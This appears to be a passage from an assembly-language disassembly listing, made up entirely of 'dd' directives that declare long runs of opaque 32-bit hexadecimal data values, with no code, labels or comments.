dd 7D41CF1Eh, 12EE23F6h, 5100227Fh, 9DD6AC2Ah, 0C870B8h
dd 50FD1E7Bh, 57AD4792h, 0D2F2DD00h, 33244374h, 7C4F00C8h
dd 162D0356h, 1700262Eh, 0FC39C936h, 1D8DEFAh, 3CA389D5h
dd 20984C84h, 5B098DB0h, 1F8FBE5h, 59AEDDF9h, 0F2B2D050h
dd 93F607B1h, 82658431h, 0C6C055E1h, 78037744h, 6F59CA1Ah
dd 0A0185BB1h, 2700B769h, 8613F5B2h, 0E0205Eh, 0EE75CF96h
dd 81121B99h, 254FF0Eh, 6FC8C008h, 0F068664Fh, 79EAB8h
dd 0EE695763h, 1CC5141Ah, 0C9058AE0h, 37F5D5C8h, 0B17B9000h
dd 0EECE890h, 0DF64CEAEh, 0E0A0FB07h, 0A42EF65Ch, 331F7077h
dd 0D1CE0416h, 870F806Dh, 7D48BD5Ah, 9C4A0078h, 0C9189019h
dd 0D800D15Dh, 0CEF2D423h, 629F5Eh, 74DA4606h, 0BA16A18Ah
dd 32FD7D1Dh, 5091D447h, 0B390DB57h, 38843E90h, 0AF00AE7Fh
dd 0B4D5E844h, 0E90007D3h, 0C00AC9ACh, 772B3AF8h, 0AF910E10h
dd 0CF2037BDh, 82C406DBh, 0CA48C502h, 803D94FFh, 0A01C7BA4h
dd 6EB10067h, 811ECF66h, 390F0851h, 0C19AA5F8h, 1F4FB74Bh
dd 141C1880h, 866568C0h, 32D85001h, 406418A1h, 26259E8h
dd 0CD9D1D35h, 38E8CC90h, 0A73BD04Ah, 0EC7006B1h, 2418E24Ch
dd 18A789DDh, 49CA18BFh, 0D5743874h, 78534Ch, 3C1E3F7Dh
dd 42D46A3h, 0F5E4E671h, 0CDF8C009h, 9800149Dh, 6B8ADCADh
dd 0C09FB156h, 0ACCBFC48h, 4C002505h, 868FFE3h, 599BA75Eh
dd 0E62CE4A9h, 42100084h, 5C870EACh, 78FE1B1Dh, 0CDE24540h
dd 3AF344Bh, 4F98309Fh, 82CCFDC0h, 0B8605CD8h, 0C30F1EBAh
dd 0AF15201Fh, 0C92C00F5h, 13142E21h, 40BE12FAh, 0BCAEBD30h
dd 0D800E447h, 0F07C6D87h
dd 0ED509Fh, 7E558AE1h, 45C588EEh, 0CEBCD00h, 0B80806ACh
dd 0B57B04F7h, 0D009F199h, 4E842FCh, 0E670E900h, 7EA394F3h
dd 76CB0F4h, 6D464C1h, 357630C8h, 0C0C0B73Bh, 0E075557Ah
dd 7C9807Eh, 63B65E48h, 0A3035AC0h, 1DF18840h, 9F015h
dd 0F44E42E9h, 15D321Ah, 1D44E73Ah, 440DC13h, 1D0DA739h
dd 0F0C03A51h, 0F5AA4280h, 65A94F1Eh, 0E940EEE2h, 0B1E81626h
dd 454C40F9h, 43967F1h, 831DED3Fh, 449576C7h, 0A9FFC03Fh
dd 907B00D5h, 0E00A663Bh, 992E368Bh, 2B031970h, 989469C2h
dd 1FE53h, 9765BE32h, 3C40790Bh, 0DA614F61h, 0C0FB5C1Ah
dd 76B0C4BFh, 0CA7743Fh, 3917616Eh, 662EBAF1h, 2F07A4DEh
dd 92CEF186h, 20B7691Ch, 0B0C0A187h, 1807EBB8h, 48B2CCA3h
dd 34A0F9D9h, 0F00F38DCh, 9EE23CE9h, 91C580F9h, 0C232D4D3h
dd 0BCFD37DDh, 7CBE8128h, 5C9083BAh, 0A1610BE2h, 0CDC8F499h
dd 9FC6076Fh, 0A096EE58h, 0D911D4D1h, 0F63DE307h, 0FEA08477h
dd 24B83779h, 959CDE8Eh, 0BE3B6462h, 0B2C43372h, 7B88B060h
dd 88BA5CFDh, 5005DB0Ch, 0FF7707Ch, 58819519h, 0E90D7287h
dd 1E5ACC40h, 6FDF33Dh, 4DAE51E2h, 47501B58h, 0D7F070FCh
dd 1AF8AB96h, 0D1417560h, 0CC0E7Ah, 0A6375056h, 18F4465Dh
dd 69299764h, 1113F821h, 1911A753h, 828417B1h, 9A297B00h
dd 0D1011DFEh, 6F3E1E79h, 0D630415Bh, 0FF61003Ch, 897E19A7h
dd 0A200C543h, 9EC00B6Ch, 0D2156Eh, 0C90A6BADh, 0B50770A6h
dd 62875C09h, 19E58061h, 0EED4B4E9h, 4C9400DEh, 0AD1178F7h
dd 7C1C939Fh, 9140EC07h, 0D602DC5Eh, 6070F10Eh, 0FE782EFDh
dd 0B29D0474h, 0AABD028Ch, 0A96900A7h, 0E71E1243h, 0B0D8E803h
dd 146F19h, 0B7DFD4A1h, 6555BCEDh, 5FCAE200h, 0D6DB979Bh
dd 8576007Eh, 53ED7FCh, 9000F044h, 49D1BC1Bh, 7EFA639h
dd 8427822Bh, 575BB08Bh, 0EB00C598h, 0CEFD59B5h, 704CBA5h
dd 0D28D12BEh, 91A77078h, 0F9097DC7h, 206CB357h, 9305DF8Ch
dd 0E1E300C8h, 0C3109E34h, 6CE2B5CBh, 2A4AF4F3h, 0D9D87603h
dd 81BB6147h, 3024F01Dh, 64880073h, 3C985863h, 0B2506FFBh
dd 9D065EA7h, 8A70F253h, 0A26B0320h, 0CA9E2393h, 87AC17C9h
dd 0F5A922CEh, 0EEAA1FC0h, 803D0097h, 3E0A6369h, 0CA002FA0h
dd 0E8409698h, 7259B2E9h, 0F01E1FEAh, 7D4E68Bh, 32E3B646h
dd 74681F2Bh, 0F50002EAh, 38D923A9h, 4CA3B0h, 0AF222F9Ch
dd 0F00C7A05h, 0EFAAF801h, 19D853A4h, 0B00A07D4h, 0E07A08h
dd 0A190618Ah, 3AB14695h, 0A367AF00h, 0E9F1910Fh, 7F5A00F4h
dd 84D8F6BAh, 0C92831D9h, 200F852h, 468B0AA8h, 4F426h
dd 875BBBC5h, 0A458614Ch, 3E006076h, 7457BC89h, 1616049Ah
dd 1DC12A0Bh, 9E408120h, 0F0BA78F9h, 0C8903AEAh, 0E804AA00h
dd 0BCA5A902h, 7EE0C04Eh, 4B1BC415h, 310EF4F7h, 605DB7Ch
dd 638855AAh, 0EE1E8C43h, 0E2F688B9h, 99133818h, 0A4936280h
dd 37B24798h, 65B03Ch, 24F605A6h, 155F2Bh, 873A77DEh, 0BB4FECE3h
dd 0D36C6101h, 41CD5337h, 0FC20B057h, 312D6B4h, 82AFABE8h
dd 5000DC05h, 0C61C69D2h, 9ABACCh, 3CF35E25h, 3A3E75DBh
dd 48DF0726h, 3BFC5180h, 24702Fh, 0FA5A17A3h, 1B753539h
dd 924895ECh, 8A7E0F24h, 0F2A6278Bh, 0C8A41F90h, 0B11A0088h
dd 0A2277BFDh, 3509AFC6h, 7646178h, 0D2B0B818h, 2CAD0299h
dd 105D46h, 269BE73Fh, 0A4F06ECBh, 0E9764418h, 16DCA0Eh
dd 0A1C6E066h, 20B2496Ah, 7A76DAE0h, 3E42F80h, 565A1A0Fh
dd 5198E903h, 4330C73Bh, 0E7072048h, 0D0391FA6h, 62E6C72Ch
dd 6E57D055h, 0EE09367Bh, 0CE5A2Dh, 98FF38F4h, 0AB509F9h
dd 0AC6891D0h, 8B008259h, 163E1C2Eh, 0EDFEB2h, 90366AABh
dd 273C8334h, 0DB8F311Eh, 0F100CA57h, 0D395C556h, 901C598Ah
dd 0A7431E00h, 0D9310D03h, 4100F178h, 300AE5ADh, 11EED6h
dd 19E7AB39h, 0B82B80D3h, 0F8E33C3Fh, 0F4C45D00h, 11A63601h
dd 0AD5B021Bh, 0E6F25981h, 42AC4C0h, 40DC48h, 0AB46EEC5h
dd 762E43h, 265EC325h, 0B033C81Ch, 0FE421601h, 7CD4D532h
dd 7D305FC4h, 72A101DBh, 36F5E549h, 8FB020DAh, 53562607h
dd 68914C0Dh, 5F09D86h, 988A7D02h, 25FEC04h, 76FBA172h
dd 1840E04Bh, 6100B8EBh, 9D7C4DEEh, 7C029A1Ah, 0F52C00AEh
dd 8395B623h, 0FF2E0B9Eh, 0CF9CD8EBh, 8E531E09h, 98B301D2h
dd 0E9F8C9BAh, 784302B0h, 0E4675B7Bh, 61C6848h, 6E111D00h
dd 569D2F96h, 247E0097h, 457DD83h, 6004BAC3h, 0ADB95217h
dd 9810D080h, 1AA08345h, 53003A96h, 0EE4A5EBFh, 754BABh
dd 0FDE64F28h, 61F732E0h, 30382E30h, 2D95DEh, 1535FA7Ah
dd 2F9B2242h, 0AAFC7C01h, 93234518h, 1FE52080h, 0E7CFFEEDh
dd 0CA02EB0Fh, 1094FE9h, 0CC0AF476h, 16A0C8ECh, 580E6Bh
dd 0AD34C55Ch, 0D02A4026h, 0A70084F0h, 0A4CDFB67h, 381109h
dd 0CA9C91AAh, 0EF49262Bh, 84002498h, 0CB31F5F7h, 1F2E0E89h
dd 9F2945C2h, 8FA40003h, 0EB4E5195h, 1268700Ah, 8A0408EEh
dd 0A5C02648h, 397BD3D8h, 3780C1BAh, 13E2272Ch, 340016A6h
dd 0F2B62BACh, 77F14D7Dh, 37091E9Dh, 73C0C09Ch, 55101859h
dd 1629F600h, 84E7DB4Ch, 0B7A600E4h, 0D7374217h, 0E000098Ch
dd 4ECC88B0h, 4AFFF3h, 0EA1DB8BCh, 80D1CB5h, 0E4B09501h
dd 0D5E60ECAh, 0A027C860h, 4C1EDAC6h, 0DC00D501h, 20E79119h
dd 1300360Fh, 0F2B8F3CBh, 98788114h, 0ADE46Ah, 800C289Bh
dd 9386D7EBh, 2566740Ch, 384F94D9h, 0F580BBF0h, 0A5F819E3h
dd 1E00F229h, 0FD609CB5h, 0FF2EA4h, 2C5CC538h, 0AC4D77E5h
dd 0C8FC6B00h, 4F7C0226h, 4771CEh, 35F5E686h, 0C37F10AEh
dd 0B964FC00h, 0F2F0A991h, 0C8E2002Fh, 0FB558A2Ah, 0DE0035E3h
dd 77B4BBCCh, 121FE111h, 44F7EC8Bh, 92ADF640h, 2C489D24h
dd 44011733h, 7D309224h, 2080ABFBh, 6F4B80Dh, 0E300DFC8h
dd 0ED71D21Ah, 0EEC731h, 73D402ECh, 169388D0h, 0B285948h
dd 60A53CCDh, 48441F74h, 923F868Bh, 2DC6B000h, 85C7A7B3h
dd 1EA2995Ch, 2B85DD61h, 0C0006DC3h, 51DC587Ch, 91860331h
dd 0AF1A85C5h, 77A480A5h, 0D3005FB3h, 69D0B426h, 16993A50h
dd 4FCBA81Ah, 0EC9D7110h, 57748064h, 56FC6978h, 4B5A0601h
dd 0A168ABC3h, 0B126828h, 0B47821ECh, 1EAC3863h, 219E76D3h
dd 485E674Ch, 8DE20022h, 0DE877F6Eh, 8C78DDC2h, 8F805A7Eh
dd 91980ED4h, 320E935h, 9D6261CDh, 83C03B48h, 98B07B5Ah
dd 20468Ah, 0D2D6FAEAh, 4728A880h, 98240F00h, 39AC7CD8h
dd 354735Fh, 995C73FFh, 0A4E4DEDCh, 0D409EBC0h, 64FBD91Ch
dd 1F144040h, 0E8AA08E5h, 1A612179h, 0A9227190h, 5FB5A140h
dd 1848187Ch, 18A81C61h, 0F136DE67h, 80881899h, 0F8B10238h
dd 0B7D10068h, 0BE47B258h, 4F28F9DBh, 252E8E4h, 64124A24h
dd 8910149Fh, 3E9E078Bh, 0EB0659BEh, 2D850064h, 0D543242h
dd 2096B8A0h, 0B171C54Fh, 383F84Fh, 0B0BE2FC9h, 1D7717CBh
dd 0E3399E4h, 18B7B826h, 0F39D28FAh, 0F44D7301h, 0E9DAF107h
dd 9ECF36F0h, 0E2A88010h, 65734631h, 344F54A0h, 9A773Eh
dd 926CB8D2h, 7348D79Ch, 84BE05B0h, 1DFA99D8h, 0B1DA0198h
dd 2A33D036h, 51190806h, 23E30008h, 60F95883h, 0E169EE50h
dd 27AB0170h, 0CB61F6E4h, 494ADC40h, 4A37B6Bh, 0CE98840Eh
dd 0BEE8C16Dh
dd 2E582054h, 9FCA904h, 0FCC04EEFh, 45447Eh, 0F8AE1E1Ch
dd 0A74F3B0Bh, 14464100h, 66C45BA2h, 0D5670F71h, 0D4814A30h
dd 0C06C337Fh, 3800F142h, 276860B2h, 0F2941Ch, 89753036h
dd 0A7FF5B98h, 0B9D37E00h, 58667D7h, 28B0A1h, 4E296A74h
dd 0B025F29Fh, 401B3501h, 28F37D2Ch, 0DB83D8h, 0A2133287h
dd 0DAB7C384h, 9866C00h, 830E0A91h, 265C0054h, 7E366682h
dd 2000F935h, 0FEE6023h, 94ABAD5h, 460ED9ACh, 93722051h
dd 43FE534h, 2C1F51E8h, 0DD04E237h, 0C0A8B33Bh, 98CBC10h
dd 5075689Ah, 1F8122D4h, 50B2A222h, 44FD14D0h, 22849DE8h
dd 0C442B026h, 21EA7011h, 0AF9E08A9h, 0B984F890h, 424548E9h
dd 0EC248AF1h, 17ED4821h, 88454218h, 0A68B082Eh, 6D2932E5h
dd 89810D10h, 44B70834h, 2A44F9D9h, 289D44B1h, 11DB28A9h
dd 0D7112B15h, 115C129Ch, 2114422Eh, 24F2F111h, 0D0B52170h
dd 3C82BD12h, 6424972Eh, 78654140h, 4F05A3FCh, 5789D6E6h
dd 4EA5FE80h, 840F00D7h, 0EC30BC2Fh, 0CD2E69A2h, 0E2005F33h
dd 0D668470Bh, 0FB540038h, 556109EAh, 7C07646Bh, 4DCC9F37h
dd 4020D2A0h, 94560474h, 0E0BA41C9h, 0D800F23Ch, 0E406B8B3h
dd 14C8AFh, 0CE3BA8E7h, 45120EA5h, 2AEBCF00h, 0D003AA06h
dd 0EE3F0046h, 5BDC53ABh, 1900C415h, 0F8D226CDh, 30646E86h
dd 2A11717Dh, 0C1FC350Ah, 0FE923D00h, 0B53B8637h, 3CBC0047h
dd 89882373h, 0B000338Eh, 0EF9F3851h, 95030B9h, 0A2680214h
dd 0A4406424h, 0E100FEC8h, 5F7EF308h, 0B8B955AEh, 0B65E1254h
dd 0F6D480C5h, 63178FA4h, 0BC0079DCh, 0A01EA77Eh, 4E680025h
dd 9FF41A28h, 4A046163h, 0D49D8342h, 88A5E9C0h, 90B5B26h
dd 50E0D1E4h, 6CB976FAh, 39405D1Eh, 0B12E43A0h, 9AEF0F24h
dd 9F00A845h, 0AA361CA3h, 83388095h, 0BAB59481h, 47CC0760h
dd 0B23062Bh, 0E8BD50C1h, 0C2E89B7Ah, 9C807100h, 106192E3h
dd 0C9E803CAh, 2C0D7222h, 57C6D000h, 774DCE7Dh, 51AF00FAh
dd 5BE890AEh, 0F038762h, 0ABB3B7F3h, 0A67AF0EBh, 706D0047h
dd 6CACBD4Dh, 0D300C6FCh, 1DC40171h, 7E6B5DA0h, 0CAF30A69h
dd 0B08432h, 0B03CA906h, 84958B5Fh, 58AC9B50h, 80A38A1Dh
dd 0B430B348h, 0EE020568h, 7CD3B854h, 3C28785Eh, 7780BD59h
dd 0C9DD8566h, 0F924E8F2h, 0D1003C3Ah, 0D0254595h, 0FE8E0059h
dd 0BECA8CA8h, 4F00D7F1h, 4710719Bh, 0FD1E3Fh, 0AEE23B72h
dd 0EF067B8Eh, 9541D05h, 0EC40F882h, 96BE1325h, 727B40A6h
dd 0D9458500h, 8E030F9h, 0A4B8C6h, 9E27FF23h, 0DA9F5A3h
dd 214D4DFAh, 1872588h, 65CDB17Ch, 0CEECB8F7h, 670FCACh
dd 0DD12B596h, 50FA1198h, 2262BA1Ch, 69630680h, 10EBFDh
dd 269D7314h, 0DF3142BFh, 0B3359300h, 2AC18F70h, 0AE180711h
dd 40D0BA4Ah, 0E3F97495h, 0B659100h, 0B3CFA00Fh, 14773A3Dh
dd 0C4E2010Ah, 9C3A01E8h, 8387A4ACh, 21DFD9D8h, 363CD891h
dd 0E7240977h, 0F87041FEh, 557C4600h, 0F2DFC101h, 39150FEAh
dd 0B6817ED3h, 0DCF181A1h, 0C3E058D8h, 0D9AD1C00h, 2EA66966h
dd 830A28A2h, 1F1EC84h, 0E33768F4h, 0D0355F6Ah, 392666F6h
dd 300F1BE2h, 2069E0DBh, 0AC45CDh, 0C6A45B3Fh, 0F2043B1Fh
dd 899060E4h, 61353D1Dh, 3C58947Bh, 0ED2909F8h, 8F88596Dh
dd 0D5E05270h, 80284389h, 0D4807CB4h, 0CCAA9277h, 0EDE70108h
dd 0D36D3F7Fh, 698AF4DCh, 0D13B0700h, 8059CAB0h, 8E9CA1F5h
dd 0FB53F0h, 0AD4531E7h, 0E86FA4DDh, 9C56EA00h, 265EAF68h
dd 0C7900086h, 0D8A5AB36h, 0B5008142h, 0C2172159h, 6EC84Dh
dd 827F990Dh, 7631CF1h, 0B9F9E100h, 0C295F3B5h, 0D9FA0004h
dd 2DB63888h, 200A511h, 0CD9E7525h, 4820C2A6h, 0E30028C7h
dd 0E773D418h, 0EB12CC08h, 0C0C302DFh, 0E0E2F00Dh, 32F6801Ah
dd 0FA80009Eh, 0A0801BA7h, 65F50452h, 0C0192FC3h, 7A50CD51h
dd 3E095C02h, 0D99A9FB0h, 808D0490h, 0D69CB01Bh, 88762500h
dd 62201AA7h, 0DDBB0C03h, 0A621EC10h, 0F959220Fh, 0C9F220B5h
dd 1A43AE7h, 0B3DB40Fh, 0F21EAE06h, 0C44B8880h, 0F8A105E2h
dd 0F49AED20h, 5E12CB37h, 0A00E3A6h, 81109BB3h, 7E680077h
dd 0E25212D8h, 13040864h, 5C6B2497h, 0A80E34C3h, 94BCBFh
dd 509EF256h, 8FCE4E2Ch, 0DD0B3426h, 37AD9100h, 115E3Dh
dd 0AACA6FBAh, 0A99E749Fh, 3A1E1000h, 360F5876h, 3F9900CEh
dd 7BB281FBh, 147FAD88h, 39DA6000h, 1933FD7Dh, 6FEA000Fh
dd 0DECDD48h, 6500A542h, 6B8599F9h, 896602h, 0B1ABB840h
dd 8A5F7CD7h, 0BDE37500h, 73C6F6C8h, 0B09FFC15h, 31C20E2Ch
dd 492C9611h, 371CA63Ah, 4E419813h, 2FA76901h, 4BA12081h
dd 0FC74BABDh, 6600A6C8h, 73A5CA0Dh, 0CED112h, 54ACFF68h
dd 4F4D5A9Fh, 0E1116609h, 0AB389039h, 87E30033h, 74B05292h
dd 420B8166h, 19D018h, 9D69A194h, 38F00CDh, 5C1A1E39h
dd 0C2E411ECh, 0DBE04B00h, 522368E5h, 0A5EC33h, 8510D77Ch
dd 0BE1F012Eh, 0F2303900h, 8EA94425h, 3DFB004Ch, 0C104959Bh
dd 0E5013673h, 2E3F8A48h, 97F4A866h, 217400FBh, 65661D0h
dd 0C501FAF1h, 8C9A20FFh, 9CC4A112h, 77490C9h, 5F488467h
dd 0EF389064h, 4600AE73h, 4F816A6Dh, 0C08674F6h, 779E6720h
dd 0C679A21Fh, 0F4A81B00h, 0F1AD2E94h, 0A623008Fh, 74A19BF2h
dd 74905795h, 0C63BAC01h, 36160599h, 266BADCCh, 40D7F3h
dd 0C789FA37h, 0B00EE5Bh, 95DB541h, 0A27418FCh, 27C040A0h
dd 350E0002h, 2E12F9D7h, 7A01E626h, 4F83AB54h, 0A8300CECh
dd 305FA24h, 14084693h, 0C0FC7537h, 0B7924B06h, 8200C398h
dd 8DE1D4BCh, 9097EF9Ch, 43C00025h, 2AB811EBh, 480070C1h
dd 6D7C4A73h, 1CE901A1h, 80A8CC1Bh, 22E067F9h, 0BF01FAC3h
dd 0CF7E8DCh, 90C03476h, 8ABE005Bh, 887559C0h, 300FD56h
dd 674A96BDh, 23E13Ah, 1177E0DFh, 56CE8BB9h, 9BDA0300h
dd 0BBC2057Fh, 0B6021C55h, 4B1CC093h, 4C26DBFBh, 52C8A201h
dd 2975F5B2h, 1C00A078h, 0C53150AFh, 5A1792D1h, 0A112E5D2h
dd 0D936F800h, 2F5D6Ch, 3D72F2DBh, 31636ECBh, 6BF3DA0Bh
dd 61798738h, 0A4E0B547h, 2ACA347h, 3C93778Eh, 38604CA9h
dd 8D027596h, 0B0382299h, 81F8603Dh, 25F50045h, 0AF0965D4h
dd 0A490CD6Eh, 0C0B47125h, 481EEBB8h, 53165655h, 6CE40359h
dd 13E81C3Ch, 2C9ACA63h, 2E350D02h, 40F2662Bh, 37D5120h
dd 0E070673Fh, 22D22F1Fh, 84C7D283h, 359580B8h, 0FFF73800h
dd 46D13DCBh, 442D0079h, 687DDC6Dh, 93000F53h, 10250358h
dd 55B5A0h, 0D5F34115h, 32996E9Dh, 22072100h, 0F83E20A4h
dd 0FD28182Fh, 0DE51605h, 2EA92600h, 0E98137E3h, 24AE128Bh
dd 0DF8800CAh, 0EBE7D01Ch, 6090460h, 5AF175CEh, 81BC1609h
dd 2B36FAF0h, 539E5841h, 0F6C4BCF0h, 16C91E4h, 3CE9E3BAh
dd 9488245Dh, 9909A373h, 0A0ABD01Dh, 0AC9666E8h, 287E7Ch
dd 2AEAEE58h, 20A70E6Eh, 0B47ABE0Fh, 2FD380A2h, 943EAAA8h
dd 0DBF70130h, 0C97461F5h, 0B8CE7064h, 0B00D3F0h, 0E4F8CEDFh
dd 0FF086A0h, 367694Bh, 452A9060h, 0D8F474E7h, 410C0CE8h
dd 309D641Ch, 0C1501746h, 0D93C80A9h, 0B7070A59h, 793E578Dh
dd 8E6B802Eh, 735C595h, 0AC9D4862h, 0E091D790h, 0B9164B9Eh
dd 0B6C72C02h, 0DA1792B0h, 0AEF02078h, 8DB57E0Eh, 75D5201Ah
dd 38BB42E2h, 0CA831C8Fh
dd 0B344E578h, 0C0052000h, 87F01E4Ch, 0EA22174Bh, 966C8089h
dd 0EC072B54h, 0BC0288Bh, 0C40F139Fh, 0FBAE80A5h, 179403h
dd 0E51A5A34h, 0D1402C1Fh, 13EDF71Dh, 0D8ABF400h, 0EA2123CAh
dd 0D0CE0053h, 0F346E58Ch, 0DC00B1CBh, 9872F7E7h, 749AA3Bh
dd 427A44A1h, 7113515Bh, 0F19EC030h, 2AF1712h, 51BE4C00h
dd 303DC127h, 9411CAE4h, 5D006FD0h, 0D437F4AEh, 50DE6404h
dd 208CB7Ch, 71AD5C48h, 9980E48Eh, 6E2822CBh, 0DE14C700h
dd 886BCD8Fh, 0A1AE0068h, 9F1954A7h, 0DB98DD17h, 0CEC9DB01h
dd 47F95C6Ch, 6C85BC4h, 5FD62223h, 16071044h, 0C0B5186Bh
dd 308EF440h, 7B8F00FDh, 1D923E69h, 5600FEF5h, 0C7EF666Dh
dd 0E359D4DDh, 7ED58E0h, 0D7390402h, 9F00DEB7h, 1446273Eh
dd 0E0BD1200h, 78E6A31Dh, 86B9DDE2h, 68DD5494h, 0B6647601h
dd 620B5D69h, 0BA51DCh, 29BB0A98h, 594BB828h, 533E3Fh
dd 0AD69B5D0h, 3D9A269Eh, 1D751EA5h, 8F3B2303h, 56005A94h
dd 49800D1Ah, 0F084FA00h, 0B8A604A0h, 999500E9h, 8E4591B2h
dd 5D007A76h, 15E03AB9h, 6F997h, 0FA84FEC7h, 4D384E08h
dd 7100DD70h, 43EA3C6Eh, 1C9A071Eh, 989B7528h, 0F984214Fh
dd 0F645BD00h, 480D226h, 0D4411C7Eh, 1D006CD9h, 0DAEF47A1h
dd 0AA40E063h, 0A5771333h, 8053773Fh, 0A615CB89h, 1F38C38h
dd 7F5485B3h, 86315BE5h, 0B6676E61h, 0AA120386h, 0AD193825h
dd 18586AD0h, 0DBCE9200h, 0E2F994A8h, 0FE9303C7h, 0E502FD19h
dd 43FAF798h, 0B0CFA00Eh, 49A18001h, 0FB77262h, 5C31391Bh
dd 0D038E580h, 8F07AA8Ah, 3015E268h, 4DC80089h, 363673Bh
dd 7A606551h, 0E6B0565Eh, 0D10042D9h, 0E448B577h, 8716Ch
dd 0CF850BBh, 0FF7DDFBh, 338BC503h, 0A1AE09CBh, 0B0CB8416h
dd 725FFDh, 5826D5D3h, 18FF7FF6h, 0AD378607h, 0FD40BFE2h
dd 0E7EF7C5h, 78CF5CF0h, 2DE5880h, 0C738D38Bh, 3357079Fh
dd 0D680CB22h, 33BE2DAh, 0C101AD68h, 0D4E015EEh, 4000EFB3h
dd 0BE34C3DCh, 170CD64h, 0F660236Ah, 0C0CC4457h, 0FE7EE18Fh
dd 0B31FCB72h, 51932B06h, 0E6E98300h, 0EABC2A32h, 0FD441EBEh
dd 5BDE54h, 3F014B6Fh, 500EDFC7h, 0A0C120F6h, 0D22476B0h
dd 0FCA800E8h, 0DD2F7CEBh, 41001F9Dh, 46394A98h, 0F44487h
dd 278E5864h, 0B868EB05h, 0B4BBCA1Fh, 851C7E7Eh, 4C7F1C9h
dd 0B5609D22h, 15620D3h, 7D526C67h, 0D42D736Eh, 5A076859h
dd 0DAE4DFEEh, 80339BB0h, 0D97100F9h, 0DC7CFC75h, 7474F84Fh
dd 3025C100h, 0F033BD7Ah, 98152FA5h, 0D1D468C0h, 2D9B6600h
dd 137934D3h, 6F42002Fh, 0E4977B28h, 780B1595h, 8145498Ch
dd 58F675CFh, 19C9D8h, 0C338375Bh, 6BC43496h, 0BEBCC807h
dd 5E40DE10h, 3E2F369Ch, 371FE6E7h, 0DC80C050h, 8B536E42h
dd 0A40F7500h, 163126C2h, 0FB66009Eh, 4FDE0A55h, 85707110h
dd 0F2756300h, 7447738Dh, 0EC0F1F46h, 0EFC7C0DBh, 0B6B99E93h
dd 92CD5100h, 5BB7360Ch, 0AFB00065h, 951680C0h, 7800199Dh
dd 0D1EAE71Dh, 39E50E6Bh, 9A01E14Bh, 0ACDF8729h, 5B0AC499h
dd 10C04Ch, 68D23832h, 7AAB4A0h, 3E4D9D9Fh, 0FE22083h
dd 5898A5E6h, 0B70E5Ch, 75E1BC36h, 3E3E043Bh, 0C843AB7h
dd 0C05361E0h, 6545B5A0h, 891327FEh, 9800F0C0h, 9C1E317h
dd 75870084h, 0AA0BAA7h, 0F700E867h, 0F4BED42h, 7D21241h
dd 9A9B7CDAh, 79D8D24Eh, 20E302C1h, 5738C2DCh, 0E9E1840Bh
dd 9CD0B716h, 73543E88h, 604020CAh, 47D4B300h, 6DDCF1F5h
dd 5F7D127Ch, 0D817A0DDh, 80346E00h, 973EA288h, 2498C01Bh
dd 0FE31B23Ch, 0D520220Bh, 5B4F8199h, 23ECED8Fh, 6A20085h
dd 6E3CFBE4h, 0D00A0EFh, 41DD862Ch, 0B1BC0FEh, 4D8A203Ah
dd 0A54F3A00h, 471C6583h, 0CE40502Dh, 9564D18Ch, 0C079DEh
dd 57AE701Ah, 126F46C9h, 0F7DC3Ch, 54394302h, 1F7A5Ch
dd 90CF3C1Dh, 568104F1h, 4D738B00h, 977E27DEh, 0E6260B9Bh
dd 2400FD8Ch, 6E29756Fh, 5B635D0Fh, 2F73035Ch, 5862B050h
dd 906BE659h, 56A009Ch, 6F099603h, 690F7465h, 0A05F458Fh
dd 6B7C2868h, 0EC2E038Dh, 0F7F824AAh, 47865DC8h, 1F0A63Eh
dd 0ABDE06E8h, 0D3F8E3DAh, 9F291D6Bh, 6F0A8CEh, 0FF854B05h
dd 347E2850h, 0EA0DAC90h, 6CE3E0AEh, 0C81F2C40h, 3890E5h
dd 0D97BFB0Fh, 0DF04FF48h, 0D274F60Fh, 0F80013ACh, 77CE1AE5h
dd 0B50B06Ah, 0EE5BE3BEh, 56932C00h, 0ED004F4Ah, 6D408811h
dd 0C40896h, 3805FCDh, 0B59C7065h, 5856EC24h, 407C500Fh
dd 5B6E597Bh, 2657587Dh, 6D03793Bh, 6652765Ch, 0D8427FF0h
dd 613FB61Eh, 415E1500h, 1E847546h, 0C5506B26h, 8152405Fh
dd 0D405A32Ah, 1E2474CEh, 902018C1h, 38292F40h, 12747126h
dd 3D435Dh, 577CD96Ah, 0BE00B2B0h, 0AEBB029Ch, 0F2CD30A0h
dd 4D31E190h, 0F210420h, 0BE019DBFh, 609B17C1h, 0FFDA30E8h
dd 6500B875h, 0F3646E39h, 0A88667h, 0F57D8D17h, 363A3409h
dd 1E05FA3Eh, 8280F4C8h, 7ABB6CFFh, 525D001Dh, 0FD55765Fh
dd 0F107A8CFh, 9F03C762h, 8064DCC2h, 76E5FFB0h, 9CC9073Ch
dd 41CA5106h, 0FC334A08h, 7B00B521h, 7DE07947h, 5FDCD7h
dd 26F25C3Dh, 5B6C19F9h, 810C3Eh, 0F31E745h, 0B35FB5h
dd 4972C8E4h, 9029D64Ch, 9CE38C05h, 0B819498h, 2BD46EB0h
dd 3D370AAh, 5B35F7B2h, 6DD03B7Ah, 1038F323h, 0F87F03A5h
dd 0B86186FAh, 1E8FC9E4h, 8154D55Ch, 2E99A697h, 37A2CC98h
dd 0A3039179h, 15DE518Fh, 0AA46C88Ah, 0A0C300C6h, 8DEAF14Ch
dd 0A2000247h, 0DD688705h, 95DA501h, 0FC282C10h, 89C3A400h
dd 3926320Dh, 9781F08Ch, 8EC73433h, 0C635CCh, 0D636318Fh
dd 0EDFBE699h, 0D0C20300h, 0E3A9EBD5h, 0C50C00F6h, 0B2E9D7D8h
dd 89243E58h, 0C100A4F5h, 2BC8BB32h, 1647CD4h, 87AC4C9Ch
dd 2123471Eh, 30B9CCA0h, 0E0280B01h, 27714D29h, 94CE8941h
dd 0A5F09021h, 0FA8113F5h, 0C535037Eh, 1DE88FE8h, 2171CAE0h
dd 1431B400h, 28818285h, 59E60923h, 0DC87E383h, 432B8003h
dd 200110Bh, 2A212EF4h, 73D50FB9h, 22BB0914h, 0E0A058D6h
dd 6A692461h, 2302B09Ah, 61D42EDh, 5D94C098h, 22F600C8h
dd 8D059DA3h, 7A490CB2h, 97B300FCh, 51FE9928h, 52CE3085h
dd 20FAF950h, 6F806D50h, 0FBF4C100h, 3D72AFA1h, 7C65005Ah
dd 89E92C46h, 8004161h, 0A0E6A5CFh, 6774Fh, 0B095EC84h
dd 31E2813Fh, 24121BE4h, 0F0017252h, 55EBC3E5h, 2CC8BCFCh
dd 8038D27Dh, 4CEEC5E1h, 575C9B04h, 0DD8A00B0h, 5DE37D66h
dd 6CB1C037h, 4817AC81h, 8B2A9900h, 0C147074Ch, 442E18FAh
